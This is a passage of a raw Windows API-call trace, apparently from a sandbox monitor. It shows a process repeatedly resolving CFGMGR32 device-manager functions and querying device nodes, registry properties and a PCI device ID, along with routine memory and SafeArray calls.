lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.988] malloc (_Size=0x18) returned 0x196ef0d1d20 [0201.988] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x34, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0201.988] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0201.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x593fb71e, dwHighDateTime=0x1d9eb0c)) [0201.988] SetEvent (hEvent=0x248) returned 1 [0201.993] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.993] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.996] malloc (_Size=0x18) returned 0x196ef0d1a60 [0201.996] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x34, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0201.996] malloc (_Size=0x48) returned 0x196ef0fbe00 [0201.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x593fb71e, dwHighDateTime=0x1d9eb0c)) [0201.996] SetEvent (hEvent=0x248) returned 1 [0201.999] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.999] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.003] malloc (_Size=0x18) returned 0x196ef0d20c0 [0202.003] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0202.003] malloc (_Size=0x48) returned 0x196ef0fbef0 [0202.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59421a03, dwHighDateTime=0x1d9eb0c)) [0202.003] SetEvent (hEvent=0x248) returned 1 [0202.174] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.174] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.179] malloc (_Size=0x18) returned 0x196ef0d1c80 [0202.179] CM_Get_Device_IDA (in: dnDevInst=0x7, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\\3&11583659&0&08") returned 0x0 [0202.179] malloc (_Size=0x48) returned 0x196ef0fb720 [0202.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x595c53c8, dwHighDateTime=0x1d9eb0c)) [0202.179] SetEvent (hEvent=0x248) returned 1 [0202.183] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.183] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.187] malloc (_Size=0x18) returned 0x196ef0d1d60 [0202.187] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0202.188] malloc (_Size=0x124) returned 0x196ef0d6890 [0202.188] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0202.189] free (_Block=0x196ef0d6890) [0202.189] malloc (_Size=0x48) returned 0x196ef0fbd10 [0202.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x595eb8eb, dwHighDateTime=0x1d9eb0c)) [0202.189] SetEvent (hEvent=0x248) returned 1 [0202.194] malloc (_Size=0x18) returned 0x196ef0d20c0 [0202.194] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.194] free (_Block=0x196ef0d20c0) [0202.194] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0202.194] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.194] free (_Block=0x196ef0d1ec0) [0202.194] malloc (_Size=0x18) returned 0x196ef0d1e80 [0202.194] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.194] free (_Block=0x196ef0d1e80) [0202.195] malloc (_Size=0x18) returned 0x196ef0d1d20 [0202.195] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.195] free (_Block=0x196ef0d1d20) [0202.195] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0202.195] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0202.195] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0202.195] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0202.195] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0202.195] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0202.195] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0202.195] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0202.195] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0202.196] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6290, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.196] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6298, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.197] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b62a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.197] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b62a8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.198] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0202.198] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0202.198] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.198] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.203] malloc (_Size=0x18) returned 0x196ef0d1e60 [0202.203] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0202.203] malloc (_Size=0x10e) returned 0x196ef0d6890 [0202.203] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0202.204] free (_Block=0x196ef0d6890) [0202.204] malloc (_Size=0x48) returned 0x196ef0fb680 [0202.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5961196d, dwHighDateTime=0x1d9eb0c)) [0202.205] SetEvent (hEvent=0x248) returned 1 [0202.208] malloc (_Size=0x18) returned 0x196ef0d1e60 [0202.208] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0202.208] free (_Block=0x196ef0d1e60) [0202.208] malloc (_Size=0x18) returned 0x196ef0d20a0 [0202.208] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0202.208] free (_Block=0x196ef0d20a0) [0202.208] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0202.208] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0202.208] free (_Block=0x196ef0d1bc0) [0202.209] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0202.209] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0202.209] free (_Block=0x196ef0d1ac0) [0202.209] malloc (_Size=0x18) returned 0x196ef0d1c80 [0202.209] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0202.209] free (_Block=0x196ef0d1c80) [0202.209] malloc (_Size=0x18) returned 0x196ef0d1e00 [0202.209] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0202.209] free (_Block=0x196ef0d1e00) [0202.209] malloc (_Size=0x18) returned 0x196ef0d1a60 [0202.210] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0202.210] free (_Block=0x196ef0d1a60) [0202.210] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0202.210] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0202.210] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0202.210] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0202.210] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0202.210] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0202.210] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0202.210] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0202.210] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0202.211] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.211] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee98, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.211] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beea0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.211] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beea8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.212] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beeb0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.212] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beeb8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.212] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beec0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0202.213] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0202.213] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0202.214] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.214] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.414] malloc (_Size=0x18) returned 0x196ef0d1d00 [0202.414] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.419] malloc (_Size=0x48) returned 0x196ef0fb540 [0202.419] 